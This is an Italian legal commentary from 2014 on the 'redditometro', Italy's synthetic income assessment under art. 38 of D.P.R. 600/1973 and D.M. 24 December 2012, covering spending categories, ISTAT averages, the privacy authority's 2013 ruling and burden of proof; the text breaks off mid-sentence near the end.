1 Ottobre, 2014


 

 

SOMMARIO: 1. Il fondamento normativo – 2. Segue – 3. Il D.M. 24 dicembre 2012 – 4. La Tabella A – 5. Ulteriori elementi di capacità contributiva diversi da quelli riportati nella Tabella A – 6. La quota di risparmio formatasi nell’anno – 7. Le altre disposizioni normative relative all’accertamento sintetico di cui ai commi 4 e 5 dell’art. 38 del D.P.R. n. 600/1973 – 8. Le criticità del D.M. 24 dicembre 2012 – 9. La circolare ministeriale esplicativa del D.M. 24 dicembre 2012 e la spesa media ISTAT – 10. Il provvedimento del Garante della privacy 21 novembre 2013 – 11. Onere probatorio nell’accertamento sintetico – 12. Il contraddittorio – 13. Ulteriore provvedimento dell’Agenzia delle entrate e del fitto figurativo.

 

 

1. Il fondamento normativo

L’accertamento sintetico (definito comunemente redditometro) trova il suo fondamento nell’art. 38 del D.P.R. 29 settembre 1973, n. 600, nel testo novellato dal D.L. 31 maggio 2010, n. 78 (convertito, con modificazioni, dalla legge 30 luglio 2010, n. 122), e nel D.M. 24 dicembre 2012.

Il predetto art. 38 faculta l’Agenzia delle entrate a determinare sinteticamente il reddito complessivo del contribuente, persona fisica, sia sulla base «delle spese di qualsiasi genere sostenute nel corso del periodo di imposta» (quarto comma) e sia «sul contenuto induttivo di elementi indicativi di capacità contributiva» individuati questi ultimi mediante l’analisi di campioni significativi di contribuenti, differenziati per composizione del nucleo familiare e dell’area territoriale di appartenenza (quinto comma).

Pertanto due sono i procedimenti attraverso i quali si perviene alla determinazione sintetica del reddito, e precisamente:

uno, quello indicato nel quarto comma del citato art. 38 del D.P.R. n. 600/1973, fondato esclusivamente sulle spese di qualsiasi genere effettivamente sostenute dal contribuente e in forza delle quali si deduce che il reddito conseguito deve essere almeno pari all’entità delle spese sostenute;

l’altro, quello indicato nel quinto comma, fondato sul principio che il reddito conseguito nell’anno di imposta deve essere pari a quello risultante da alcuni indici di capacità contributiva, individuati con decreto del Ministro dell’economia e delle finanze da pubblicare sulla Gazzetta Ufficiale con periodicità biennale e differenziati anche in funzione del nucleo familiare e dell’area territoriale di appartenenza.

Tuttavia per potere procedere ad un accertamento in rettifica del reddito dichiarato occorre che la quantificazione del reddito complessivo operata in maniera sintetica, con i criteri di cui al quarto comma o al quinto comma (dell’art. 38) o di entrambi i comma, ecceda di almeno un quinto (20%) il reddito risultante dalla dichiarazione (art. 38, sesto comma).

2. (Segue)

Il procedimento di accertamento eseguito sulla base delle spese effettivamente sostenute (quarto comma) – e da molti definito accertamento sintetico puro – si avvale della enorme mole di dati che affluiscono – o meglio stanno per affluire – all’Anagrafe tributaria in conseguenza di vari strumenti legislativi recentemente attuati.

Tra questi principalmente vanno ricordati:

l’obbligo imposto a tutti i soggetti passivi ai fini dell’IVA di comunicare in via telematica all’Anagrafe tributaria tutte le cessioni di beni e le prestazioni di servizi di importo non inferiore a € 3.000,00 introdotto dall’art. 21 del D.L. n. 78/2010, e ciò al fine di rafforzare non soltanto l’azione di contrasto dei comportamenti fraudolenti in materia di IVA, ma anche per ostacolare l’evasione delle imposte sul reddito (c.d. spesometro);

l’obbligo imposto agli istituti di credito di comunicare i saldi finanziari e i movimenti bancari dei propri clienti all’Anagrafe tributaria (art. 11, secondo comma, del D.L. 6 dicembre 2011, n. 201, convertito, con modificazioni, dalla legge 22 dicembre 2011, n. 214). In particolare vengono segnalati all’Anagrafe tributaria tutti i rapporti bancari intrattenuti dagli istituti di credito con i propri clienti, e quindi non soltanto il rapporto di conto corrente, ma anche ad esempio il conto deposito titoli, i certificati di deposito e buoni fruttiferi, i contratti derivati, le carte di credito-debito, il contratto di locazione delle cassette di sicurezza e il numero degli accessi alle stesse, i fondi pensione e così via.

Il rilevamento della spesa sostenuta è, pertanto, il «frutto diretto dei poteri di indagine del Fisco sui dati o allo stesso pervenuti da parte dei fornitori del contribuente tenuti a segnalare acquisti di una certa rilevanza o acquisiti attraverso il controllo pieno dei movimenti bancari» (1).

A fronte di questo enorme data-base che andrà nel tempo a formarsi, il raffronto spese-reddito dichiarato avviene per tabulas: ciò con tutte le conseguenze facilmente intuibili sul piano probatorio.

[-protetto-]

3. Il D.M. 24 dicembre 2012

Il D.M. 24 dicembre 2012 individua invece gli elementi indicativi di capacità contributiva sulla base dei quali si procede all’accertamento sintetico previsto al quinto comma dell’art. 38 del D.P.R. n. 600/1973 (2); e all’art. 1, secondo comma, definisce quale elemento di capacità contributiva «la spesa sostenuta dal contribuente per l’acquisizione di servizi e di beni e per il relativo mantenimento».

Pertanto, oltre alle spese effettivamente sostenute dal contribuente e risultanti in Anagrafe tributaria, allo stesso si attribuisce anche un elevato numero di tipologia di spese collegate alla vita quotidiana, quali sono quelle descritte nella Tabella A allegata al detto decreto e che si intendono presuntivamente essere state sostenute sulla base della spesa media, per gruppi e categorie di consumi, del nucleo familiare di appartenenza del contribuente.

La sommatoria delle spese, effettivamente sostenute e di quelle presuntivamente attribuite e quantificate secondo i criteri su accennati, nonché l’ammontare della quota relativa agli incrementi patrimoniali nel periodo di imposta (spesa per investimenti) e la quota di risparmio formatasi nell’anno costituiscono la base imponibile del reddito accertato sinteticamente.

In definitiva viene assunta l’equazione: spesa per consumi più spesa per investimenti più risparmio accumulato uguale reddito imponibile.

Inoltre la determinazione sintetica del reddito avviene sulla base della presunzione relativa secondo cui l’intero reddito sia stato speso nel periodo di imposta considerato, e che le spese sostenute siano state finanziate con redditi del medesimo periodo, a meno che il contribuente non fornisca la prova che le spese sono state sostenute con redditi esenti o soggetti a ritenuta alla fonte a titolo di imposta, ovvero con redditi diversi da quelli posseduti nel periodo di imposta o da parte di soggetti diversi dal contribuente.

A quest’ultimo vengono attribuite anche le spese relative a beni e servizi effettuate dal coniuge e dai familiari fiscalmente a carico (artt. 2 e 4 del D.M. 24 dicembre 2012).

4. La Tabella A

Essa contempla, quale contenuto induttivo degli elementi indicativi di capacità contributiva, sia spese per consumi sia spese per investimenti.

Per quanto concerne le spese per consumi, la citata Tabella A per alcune di dette spese (ad esempio: le spese per generi alimentari, bevande, abbigliamento, calzature) prende in considerazione la spesa media, statisticamente accertata per gruppi e categorie di consumi del nucleo familiare di appartenenza del contribuente: spesa media che è quella risultante dall’indagine annuale sui consumi delle famiglie compresa nel Programma statistico nazionale, a norma dell’art. 13 del D.Lgs. 6 settembre 1989, n. 322, e che viene effettuata su campioni significativi di contribuenti appartenenti ad undici tipologie di nuclei familiari distribuite nelle cinque aree territoriali in cui è suddiviso il territorio nazionale (Tabella B).

Viceversa, per altre spese relative a beni di consumo (ad esempio: quelli relativi ai consumi di luce elettrica, di gas, di collaboratori domestici, di attività sportive, di circoli culturali e ricreativi, e altri ancora) la stessa Tabella A prende in considerazione soltanto le spese presenti nell’Anagrafe tributaria.

Gli elementi indicativi di capacità contributiva racchiusi nella Tabella A prendono in considerazione oltre 100 voci di spesa accorpate in dieci categorie (1. consumi di generi alimentari, bevande, abbigliamento e calzature; 2. abitazione; 3. combustibili ed energia; 4. mobili, elettrodomestici e servizi per la casa; 5. sanità; 6. trasporti; 7. comunicazioni; 8. istruzione; 9. tempo libero, cultura e giochi; 10. altri beni e servizi).

Per la maggior parte delle singole voci è previsto ai fini della determinazione sintetica del reddito complessivo che si tenga conto della spesa sostenuta risultante dai dati disponibili presenti in Anagrafe tributaria ovvero della spesa media ISTAT della tipologia del nucleo familiare di appartenenza. In caso di contrasto tra due dati si deve assumere l’ammontare più elevato, sia esso quello presente in Anagrafe tributaria ovvero quello della spesa media (art. 1, quinto comma, del D.M. 24 dicembre 2012).

È previsto che al contribuente venga attribuita anche la spesa sostenuta per un “fitto figurativo”, in assenza di una abitazione in proprietà o altro diritto reale, o in locazione o in uso gratuito da un familiare.

Il detto fitto figurativo viene determinato moltiplicando il valore del canone mensile al mq., individuato sulla base dei dati OMI relativamente alla categoria catastale A/2 del Comune di residenza del contribuente per 75 mq. a sua volta moltiplicato per il numero dei mesi di possesso.

La spesa media annuale dei consumi delle famiglie viene elaborata dall’ISTAT sulla base di campioni significativi di contribuenti appartenenti a 11 tipologie di nuclei familiari presenti nelle cinque aree territoriali in cui è suddiviso il territorio italiano: tipologie delle famiglie e area di appartenenza territoriale sono riportate nella Tabella B sempre allegata al medesimo D.M.

Invero, «le diverse tipologie di spesa indicate nella Tabella A non costituiscono un parametro obbligato ai fini della ricostruzione del reddito, nel senso che l’Agenzia delle entrate, dal punto di vista normativo non è obbligata a imputare tutte le spese previste al contribuente accertato, ma solo quelle che in esito al contraddittorio appaiono o meglio si possono presumere essere state sostenute dal contribuente» (3).

Va però tenuto presente che la spesa media calcolata dall’ISTAT fa riferimento al nucleo familiare e da ciò ne consegue che occorre determinare la quota parte di essa che è attribuibile al contribuente, la quale è costituita:

in presenza di redditi dichiarati dal nucleo familiare, nella percentuale corrispondente al rapporto tra il reddito complessivo attribuibile al contribuente e il totale dei redditi complessivi attribuibili ai componenti del nucleo familiare;

in assenza di redditi dichiarati dal nucleo familiare, nella percentuale corrispondente al rapporto tra la spesa sostenuta dal contribuente e il totale delle spese dell’intero nucleo familiare, risultante dai dati disponibili o dalle informazioni presenti nel sistema informativo dell’Anagrafe tributaria (art. 3 del D.M. 24 dicembre 2012).

Sempre tra le spese per consumi, per alcune di esse, quali quelle per il mantenimento in proprio o in pensione di cavalli, o quelle per imbarcazioni e aeromobili, il contenuto induttivo degli indici di capacità contributiva è determinato non già sulla base della media ISTAT relativa alla tipologia del nucleo familiare di appartenenza, bensì sulla base di analisi e studi economici.

Sostanzialmente, al pari dei dati ricavati dalla media ISTAT, si tratta sempre di dati probabili e non già di dati certi, come quelle delle spese effettivamente sostenute.

Se poi il dato certo è presente in Anagrafe tributaria, ma è inferiore a quello probabile derivante dalla media ISTAT o ricavato sulla base di analisi e studi economici, esso viene disatteso.

Per quanto concerne l’onere probatorio, il dato assunto sulla base di uno studio economico è identico a quello attribuito statisticamente al contribuente: entrambi sono dati probabili, non certi, e con le ovvie conseguenze sul piano probatorio.

Conclusivamente per quanto attiene le spese per beni di consumo, il decreto ministeriale distingue:

spese di ammontare certo sostenute dal contribuente, oggettivamente riscontrabili e conosciute dall’Agenzia delle entrate, c.d. spese certe (art. 3, primo comma, lett. a);

spese di ammontare determinato dall’applicazione di valori medi rilevati dai dati ISTAT ad elementi presenti in Anagrafe tributaria o comunque disponibili, c.d. spese per elementi certi, quali possono essere ad esempio le spese di mantenimento per autoveicoli o barche possedute dal contribuente (art. 3, primo comma, lett. c). Invero, il possesso di un determinato bene (ad esempio: un’auto, una barca) comporta di norma anche nell’anno l’effettuazione di una spesa per il suo mantenimento e il suo funzionamento: e anche se in parte questo genere di spese può essere presente altresì in Anagrafe tributaria, la spesa certamente sostenuta, perché collegata ad un elemento certo (la barca, l’autoveicolo), viene quantificata sulla base di elementi elaborati dall’ISTAT;

spese per beni e servizi di uso corrente nella vita quotidiana (ad esempio: spese per consumi di generi alimentari, per abbigliamento) che vengono determinate in un ammontare pari alla spesa media risultante dall’indagine annuale sui consumi della famiglia compresa nel Programma statistico nazionale a norma dell’art. 13 del D.Lgs. n. 322/1989 e differenziata per composizione della famiglia medesima e per area geografica, c.d. spese ISTAT (art. 3, primo comma, lett. b).

Relativamente poi alle spese per investimenti, la Tabella A prende in considerazione soltanto le spese effettivamente sostenute ed elenca sotto la voce “investimenti”, quale elemento di capacità contributiva, l’incremento patrimoniale conseguito per l’acquisto di beni immobili, di beni mobili registrati, di titoli di credito (ad esempio: azioni, obbligazioni, fondi di investimento, certificati di deposito, buoni postali fruttiferi, e altro), di oggetti di arte e antiquariato, le donazioni, le polizze assicurative, la manutenzione straordinaria delle unità abitative.

La spesa patrimoniale sostenuta dal contribuente viene imputata quale maggior reddito per intero nell’anno in cui la spesa viene effettuata: tuttavia dall’incremento patrimoniale, costituito dall’ammontare degli investimenti effettuati nell’anno, va detratto l’ammontare dei disinvestimenti effettuato sia nell’anno di riferimento che nei quattro anni precedenti, nonché l’ammontare del mutuo eventualmente acceso per l’acquisizione del bene medesimo.

Va altresì detratto dall’ammontare dell’investimento, a nostro avviso, anche la quota di risparmio accumulato, sia perché essa rappresenta una forma di disinvestimento di capitali e sia perché – come si vedrà nel prosieguo – nel momento in cui essa si è formata, è stata contabilizzata quale elemento costitutivo della base imponibile dell’accertamento sintetico.

Nella specie i dati contabili, presi a base dell’incremento patrimoniale, sono dati certi, e non già dati probabili, quali quelli risultanti da una media statistica.

5. Ulteriori elementi di capacità contributiva diversi da quelli riportati nella Tabella A

Oltre alle spese per i beni di consumi indicati nella Tabella A, il decreto ministeriale, ai fini della determinazione sintetica del reddito complessivo delle persone fisiche, include anche la spesa sostenuta per l’acquisizione e il mantenimento di beni e servizi non elencati nella medesima Tabella A (art. 1, sesto comma, del D.M.).

Nella specie trattasi di spese la cui nozione rientra più propriamente nel quarto comma e non già nel quinto comma dell’art. 38 del D.P.R. n. 600/1973: infatti trattasi di spese effettivamente sostenute per consumi o per investimenti non espressamente previsti nella Tabella A.

A tal proposito si osserva che il riferimento contenuto nel decreto ministeriale appare improprio, poiché lo stesso art. 1, primo comma, del decreto ministeriale, in attuazione a quanto previsto dal legislatore, così testualmente recita: «Ritenuta la necessità di stabilire il contenuto induttivo degli elementi indicativi di capacità contributiva sulla base dei quali può essere fondata la determinazione sintetica del reddito o del maggior reddito complessivo delle persone fisiche».

Ciò presuppone quindi una dettagliata elencazione e individuazione di spese che costituiscono gli elementi indicativi di capacità contributiva, e non oltre a ciò, un ultroneo rinvio ad altre spese variamente e a qualsiasi tipo sostenute: queste ultime infatti sono già rilevanti ai fini dell’accertamento sintetico per espressa disposizione normativa contenuta nel quarto comma del medesimo art. 38.

Tali spese costituiscono comunque dati certi contenuti in documenti che attraverso l’elaborazione elettronica vengono acquisiti nell’Anagrafe tributaria.

L’efficacia probatoria è quella propria sia dei dati (certi) cui fa riferimento l’art. 38, quarto comma del D.P.R. n. 600/1973, e sia quella dei dati (anch’essi) certi risultanti da spese effettivamente sostenute per le voci di consumo contenute nella Tabella A.

6. La quota di risparmio formatasi nell’anno

Il decreto ministeriale de quo tra gli elementi indicativi di capacità contributiva include anche la quota di risparmio formatasi nell’anno che, pur non essendo una spesa e neppure un investimento, viene tuttavia considerata un reddito conseguito.

Questa metodologia di accertamento invero non è stata espressamente prevista dal legislatore allorquando ha modificato l’art. 38 del D.P.R. n. 600/1973 con il D.L. n. 78/2010.

Essa pertanto risulta introdotta con il D.M. 24 dicembre 2012, il cui unico compito consisteva nell’individuare «il contenuto induttivo degli elementi indicativi di capacità contributiva mediante l’analisi di campioni significativi di contribuenti differenziati anche in funzione del nucleo familiare e dell’area territoriale di appartenenza».

Invero la quota di risparmio accumulato – e per lo più determinata dalla differenza di saldo del conto corrente al 31 dicembre rispetto all’inizio dell’anno – non sembra essere un elemento indicativo di capacità contributiva dedotto dall’analisi di campioni significativi di contribuenti – come invece imporrebbe una corretta applicazione dell’art. 38, quinto comma, del D.P.R. n. 600/1973: prova ne sia che esso non è incluso nella Tabella A, ove sono incluse peraltro le spese per investimenti.

Esso rappresenta piuttosto un plus introdotto dal decreto ministeriale senza che sia stata emanata alcuna specifica delega legislativa.

Il risparmio è una non spesa e più precisamente una somma di denaro accantonata, e nel caso di un suo utilizzo in un futuro investimento, esso dovrà essere decurtato dall’incremento patrimoniale che si va a realizzare: infatti, qualora non lo fosse, la base imponibile del reddito accertato sinteticamente (e comprensivo dell’intervenuto incremento patrimoniale) includerebbe la quota di risparmio che era già stata contabilizzata quale maggior reddito nel momento della sua formazione.

Invece gli acquisti di azioni, obbligazioni, fondi comuni, buoni postali fruttiferi e altri strumenti finanziari – il cui acquisto può avvenire non solo per disinvestimento di altre forme di investimento, ma anche in forza di risparmio accumulato – sono espressamente previsti nella Tabella A quali spese per investimenti e quindi vanno a formare la base imponibile del reddito accertato sinteticamente: il loro disinvestimento viene però – come espressamente indicato nella stessa Tabella A – detratto dall’incremento patrimoniale in occasione dell’acquisto di un bene oggetto di investimento.

Non si comprende quindi per quale ragione analogamente ciò non possa avvenire per il risparmio accumulato, ovvero essere detratto dall’incremento patrimoniale in occasione di un investimento posto in essere.

7. Le altre disposizioni normative relative all’accertamento sintetico di cui ai commi 4 e 5 dell’art. 38 del D.P.R. n. 600/1973

Sia per l’accertamento sintetico previsto al quarto comma sia per quello previsto al quinto comma dell’art. 38 del D.P.R. n. 600/1973 la determinazione del reddito complessivo in via sintetica deve eccedere di almeno il venti per cento il reddito dichiarato; ed è sufficiente che detto scostamento tra reddito accertato e reddito dichiarato si verifichi per una annualità di imposta (e non più – come in precedenza statuito dallo stesso art. 38 anteriormente alla novella contenuta nel D.L. n. 78/2010 – per due o più periodi di imposta).

Inoltre il reddito accertato sinteticamente deve intendersi al lordo degli oneri deducibili di cui all’art. 10 del TUIR e delle detrazioni di imposta dovute per legge, poiché l’ultimo comma del novellato art. 38 statuisce che dal reddito complessivo determinato sinteticamente sono deducibili i soli oneri previsti dall’art. 10 del TUIR e competono per gli oneri sostenuti dal contribuente le detrazioni dall’imposta lorda previste dalla legge.

L’accertamento deve in ogni caso essere obbligatoriamente preceduto dal contraddittorio con il contribuente: e ciò sia nell’ipotesi di cui al quarto comma che nell’ipotesi di cui al quinto comma del più volte citato art. 38.

A tal proposito si rileva che il novellato ottavo comma dell’art. 38 espressamente prevede che l’Ufficio fiscale il quale «procede alla determinazione sintetica del reddito complessivo ha l’obbligo di invitare il contribuente a comparire di persona o per mezzo di rappresentante per fornire dati e notizie rilevanti ai fini dell’accertamento e, successivamente, di avviare il procedimento di accertamento con adesione ai sensi dell’art. 5 d.lgs. 218/1997».

Il legislatore ha così recepito «l’orientamento giurisprudenziale della imprescindibilità del contraddittorio preventivo tra fisco e contribuente affermatosi con le sentenze a sezioni unite della Cassazione n. 26635 e 26638 del 2009 e lo ha disciplinato su un doppio livello: un primo livello nella fase propriamente istruttoria (antecedentemente alla notifica dell’avviso di accertamento), e successivamente nel tentativo di accertamento con adesione, a cui oggi si può aggiungere un terzo livello, costituito dal reclamo/mediazione, qualora la controversia non superi il valore di euro ventimila» (4) (5).

Infine al reddito sinteticamente accertato il contribuente può opporre e provare che il reddito conseguito è avvenuto o con redditi diversi da quelli posseduti nel periodo di imposta o con redditi esenti o soggetti a ritenuta alla fonte a titolo di imposta o comunque legalmente esclusi dalla formazione della base imponibile, ovvero da soggetti diversi dal contribuente.

8. Le criticità del D.M. 24 dicembre 2012

Le maggiori e più consistenti criticità del D.M. 24 dicembre 2012 vengono con autorevolezza evidenziate dal Garante per la privacy con provvedimento 21 novembre 2013 (6).

In detto provvedimento viene evidenziato che laddove non sono presenti in Anagrafe tributaria spese certe ed effettivamente sostenute dal contribuente, per la maggior parte delle voci di spesa della Tabella A viene attribuito al contribuente l’ammontare della spesa media Istat dell’area geografica e del nucleo familiare di appartenenza.

Analogamente accade allorquando l’ammontare della spesa ISTAT risulti maggiore della spesa certa disponibile in Anagrafe tributaria.

In tal modo però i valori medi ISTAT vengono utilizzati non soltanto per quantificare un elemento di capacità contributiva, ma anche per imputare al contribuente in via presuntiva elementi di spesa non ancorati ad alcun dato certo, ma riferiti invece a dati assolutamente generici e non rappresentativi.

Infatti, nonostante l’art. 38 del D.P.R. n. 600/1973 statuisca di utilizzare campioni significativi di contribuenti e non di famiglie, che risultano invece essere l’unità di rilevazione dell’ISTAT, il decreto ministeriale tiene in considerazione soltanto le tipologie “famiglia” e “area geografica di residenza”, senza distinguere ulteriormente le diverse categorie di contribuenti, quali, ad esempio, operaio, impiegato, libero professionista, eccetera (7).

Ma oltre a ciò il Garante evidenzia quali maggiori profili di criticità:

a) l’ampiezza delle aree geografiche: queste infatti nel modo in cui assumono rilievo nella Tabella B sono troppo vaste e non prendono in considerazione la differenza tra centro e periferia delle città o Comuni di piccole e grandi dimensioni;

b) la mancata composizione della spesa in riferimento alla propensione al consumo e alla diversa qualità della spesa medesima: concordemente la comunità scientifica ha rilevato che la composizione della spesa varia a seconda dell’ammontare del reddito, per cui crescendo la disponibilità economica varia anche la qualità della spesa.

Cosicché le spese per i bisogni essenziali (ad esempio, alimentazione) diminuiscono con l’aumentare del reddito, mentre aumentano quelle per i beni di lusso.

Da ciò ne consegue che attribuendo a ciascun contribuente la medesima composizione della spesa attraverso l’utilizzo delle medie ISTAT, nel decreto ministeriale si determina certamente un’errata ricostruzione di ciascuna delle voci di spesa;

c) la non adeguatezza della media aritmetica utilizzata: i valori cui fa riferimento il decreto sono valori medi e quindi per loro natura non idonei ad essere ricondotti correttamente ad alcun individuo, se non con notevoli quanto evidenti margini di errore.

Nel provvedimento del Garante viene dimostrato, attraverso un puntuale esame dei dati ISTAT, la palese inidoneità dell’adozione della media aritmetica della spesa media familiare della rilevazione ISTAT quale indicatore presuntivo di elementi di spesa per la ricostruzione del reddito del contribuente.

9. La circolare ministeriale esplicativa del D.M. 24 dicembre 2012 e la spesa media ISTAT

La circolare dell’Agenzia delle entrate 31 luglio 2013, n. 24/E (8), nell’illustrare i contenuti del più volte citato D.M. 24 dicembre 2012 e delle allegate Tabelle A e B, dedica molta attenzione alle spese per beni di uso corrente che fanno riferimento alla spesa media risultante dall’indagine annuale ISTAT sui consumi delle famiglie (c.d. spese ISTAT), accogliendo un’interpretazione riduttiva delle disposizioni contenute nel D.M. 24 dicembre 2012.

Il tema viene affrontato sotto due aspetti, e precisamente sia nella fase concernente la selezione delle posizioni a maggior rischio di evasione e sia nella successiva fase applicativa del redditometro in contraddittorio con il contribuente.

Per quanto attiene alla prima fase relativa alla individuazione dei soggetti a maggior rischio di evasione, si afferma esplicitamente che «lo scostamento tra reddito dichiarato e reddito determinabile sinteticamente va rilevato sulla base di situazioni e fatti certi, nonché sulla concreta disponibilità di beni di cui l’Amministrazione possiede le informazioni relative alle specifiche caratteristiche, e che in detta fase non avranno valenza alcuna le spese per beni di uso corrente che fanno riferimento alla spesa media ISTAT».

Sempre poi, per quanto attiene la fase selettiva delle posizioni a maggior rischio di evasione, il documento precisa che saranno selezionati coloro che presentano scostamenti significativi tra reddito dichiarato e capacità di spesa e che si terrà conto del reddito complessivo dichiarato dalla famiglia, per evitare di intraprendere attività di controllo nei confronti di coloro, le cui spese risultano successivamente coerenti a livello di reddito familiare.

Per quanto concerne la successiva fase applicativa del redditometro, la circolare n. 24/E/2013 puntualizza che se il contribuente nel contraddittorio con l’Ufficio finanziario fornisce elementi esaustivi in ordine alle spese certe, alle spese per elementi certi, agli investimenti e alla quota di risparmio dell’anno, l’attività di controllo basata sulla ricostruzione sintetica del reddito si esaurisce nella prima fase del contraddittorio.

In caso contrario – prosegue la circolare – saranno oggetto di contraddittorio anche le spese medie rilevate dall’ISTAT (c.d. spese ISTAT) connesse all’appartenenza ad una determinata tipologia di famiglia che vive in una specifica zona geografica, per le quali il contribuente potrà utilizzare argomenti logici a sostegno di una diversa rappresentazione della situazione di fatto.

In definitiva l’Amministrazione finanziaria ritiene preminente fondare l’accertamento sintetico su spese di ammontare certo rinvenibili in Anagrafe tributaria e su spese collegate ad elementi presenti in Anagrafe tributaria, oltre ovviamente, se esistenti, su investimenti e quota di risparmio, anch’essi risultanti da dati certi: infatti sia gli investimenti che i disinvestimenti operati per nuovi investimenti risultano nella quasi totalità da atti registrati e quindi sono disponibili in Anagrafe tributaria.

Attribuisce invece alle spese per beni e servizi di uso corrente, che vengono determinati ai sensi dell’art. 3, primo comma, lett. b), del D.M. 24 dicembre 2012, in un ammontare pari alla spesa media risultante dall’indagine annuale sui consumi delle famiglie, una funzione meramente residuale: infatti, secondo la circolare, ad esse può farsi ricorso soltanto allorquando in sede di contraddittorio non viene giustificato dal contribuente lo scostamento necessario per procedere all’accertamento sintetico del reddito imponibile (9).

10. Il provvedimento del Garante della privacy 21 novembre 2013

Il nuovo strumento di accertamento sintetico è stato oggetto di verifica da parte del Garante della privacy, poiché esso si fonda su un trattamento automatizzato di dati personali presenti in Anagrafe tributaria o comunque conosciuti dall’Agenzia delle entrate e utilizzati sia al fine di selezionare i contribuenti da sottoporre ad accertamento e sia al fine di accertarne il reddito sulla base di tali dati.

Infatti l’individuazione di criteri astratti volti ad analizzare il comportamento del contribuente, soprattutto se effettuata sulla base di numerose tipologie di dati presenti in Anagrafe tributaria presenta rischi specifici per i diritti fondamentali e la libertà, nonché la dignità degli interessati, che richiedono la previsione di adeguate garanzie: e ciò al fine di contemperare le esigenze della lotta all’evasione fiscale con il rispetto del diritto alla protezione dei dati personali degli interessati (10).

Sussiste invero un generale divieto di adottare atti o provvedimenti amministrativi fondati unicamente su un trattamento automatizzato dei dati personali volto a definire il profilo o la personalità dell’interessato: infatti i dati personali trattati per scopi statistici o scientifici non possono essere utilizzati per prendere decisioni o provvedimenti relativamente all’interessato, né per trattamenti di dati per scopi di altra natura.

Ma è soprattutto in merito al dato assolutamente aleatorio e al tempo stesso massimamente invasivo rappresentato dalla media Istat che il Garante della privacy prende una posizione netta, affermando che l’utilizzo dei dati relativi alle spese ISTAT – non ancorate all’esistenza di un bene o di un servizio e al relativo mantenimento – costituisce un’ingerenza ingiustificata nella vita privata degli interessati, poiché va oltre quanto necessario per ricostruire sinteticamente il reddito del contribuente. Conseguentemente – prosegue il Garante – i predetti dati relativi alle spese ISTAT non potranno neppure costituire oggetto di contraddittorio, quale parametro di riferimento per indurre il contribuente a stimare presuntivamente le spese sostenute dal proprio nucleo familiare in riferimento a quelle voci prive di elementi di spesa certi disponibili nell’Anagrafe tributaria.

D’altronde – annota ancora il Garante – il massivo intervento delle informazioni raccolte Anagrafe tributaria consente già all’Agenzia delle entrate di potere disporre di dati certi relativi alla gran parte delle voci di spesa elencate nella Tabella A, disponibilità di informazioni questa destinata ad aumentare soprattutto in ragione dell’attuazione del c.d. spesometro.

11. Onere probatorio nell’accertamento sintetico

L’accertamento sintetico si fonda:

o su dati certi che attestano, con riscontri documentali, che il contribuente abbia sostenuto alcune specifiche spese nel corso dell’anno di imposta. È il caso delle spese effettivamente sostenute cui fa riferimento il quarto comma dell’art. 38 del D.P.R. n. 600/1973, ma non soltanto. Infatti anche nel decreto ministeriale e nella allegata tabella A, che danno attuazione alla previsione normativa contenuta nel quinto comma del citato art. 38, molte fattispecie di spese vengono prese in considerazione nella misura in cui esse sono state effettivamente sostenute. è il caso, ad esempio, delle spese per investimenti, della quota di risparmio formatasi nell’anno di imposta, di alcune spese per consumi elencate espressamente nella tabella A;

ovvero l’accertamento sintetico si fonda:

a) su spese che presumibilmente il contribuente non potrà non avere effettuato, stante il possesso di alcuni determinati beni, dell’esistenza dei quali si ha certezza, essendo tali beni presenti in Anagrafe tributaria (c.d. spese per elementi certi);

b) su spese che il contribuente, appartenendo al campione statistico di riferimento, ha presumibilmente effettuato nella misura di un certo importo (c.d. spese ISTAT).

Da ciò ne discende che differente è l’onere probatorio a seconda in quale fattispecie di riferimento si ricada.

Nel primo caso, e cioè allorquando l’accertamento sintetico sia fondato su dati certi, siamo in presenza di una prova documentale in possesso del fisco, sia pure acquisita attraverso un’elaborazione elettronica concernente la sintesi di dati reali ed effettivi contenuti in vari documenti, i quali attestano che una determinata spesa è stata effettuata nella misura indicata nel documento cartolare.

Il documento o la pluralità di documenti attestanti l’avvenuta effettuazione delle singole spese fanno prova per l’Ufficio finanziario (11) secondo quanto statuito nell’art. 2697 c.c. e rappresentano gli elementi costitutivi sui quali si fonda il diritto a procedere all’accertamento sintetico.

Pertanto il fisco assolve al proprio onere probatorio con la produzione dei documenti attestanti l’avvenuta effettuazione da parte del contribuente delle spese da questi sostenute.

Il contribuente, che vuole contestare la validità dei documenti, deve provare i fatti sui quali si fonda la propria eccezione (ex art. 2697, secondo comma, c.c.).

Infatti, i documenti attestanti le spese sostenute o la sintesi rappresentativa degli stessi elaborata in forma elettronica, essendo pienamente equiparabili alle riproduzioni meccaniche di cui all’art. 2712 c.c., formano piena prova dei fatti e delle cose rappresentate, se colui contro il quale sono prodotti non ne disconosce la conformità ai fatti o alle cose medesime (12).

Ma oltre ad errori materiali afferenti i documenti medesimi, il cui onere probatorio rimane a carico del contribuente, il legislatore pone a carico del contribuente (art. 38, quarto comma) anche l’onere della prova attestante che il finanziamento di tali spese sostenute è avvenuto con redditi diversi da quelli posseduti nello stesso periodo di imposta – o con redditi esenti – o con redditi soggetti a ritenuta alla fonte a titolo di imposta, o comunque legalmente esclusi dalla formazione della base imponibile.

Si tratta a ben riflettere di circostanze che fanno venire meno il fatto posto a fondamento della pretesa tributaria, rendendolo inefficace: da ciò ne consegue che, conformemente al principio contenuto nel secondo comma dell’art. 2697 c.c., l’onere della prova è a carico di chi ne eccepisce l’efficacia, e quindi correttamente in capo al contribuente.

Nel secondo caso, e cioè nel caso in cui le spese vengano determinate presuntivamente – vuoi perché collegate alla fruizione e al mantenimento di beni sicuramente posseduti, vuoi perché rientranti nelle spese legate alla tipologia del nucleo familiare di appartenenza del contribuente – l’onere probatorio non può essere quello fondato sulla prova documentale.

Infatti allorquando ci si allontani da spese certe e documentate e si faccia ricorso a spese ricavate secondo un sistema statistico-matematico, ne consegue che il redditometro assume le caratteristiche proprie di uno studio di settore (13), con la conseguenza che la valenza probatoria di tutte le spese attribuite statisticamente – non essendo costituita da dati certi e reali, ma da dati probabilmente accaduti – è quella della presunzione semplice, al pari proprio degli studi di settore.

Invero, ormai in maniera consolidata sulla valenza probatoria degli studi di settore, la giurisprudenza si è pronunciata in maniera puntuale con ripetuti arresti giurisprudenziali che hanno pienamente confermato i principi fissati dalla Corte di Cassazione a Sezioni Unite con la sentenza 18 dicembre 2009, n. 26635 (14), secondo cui «gli studi di settore, pur costituendo fuor di dubbio uno strumento più raffinato dei parametri, restano tuttavia una elaborazione statistica, il cui frutto è una elaborazione probabilistica, che per quanto seriamente approssimata, può solo costituire una presunzione semplice».

Dalla sentenza citata si ricavano i seguenti principi:

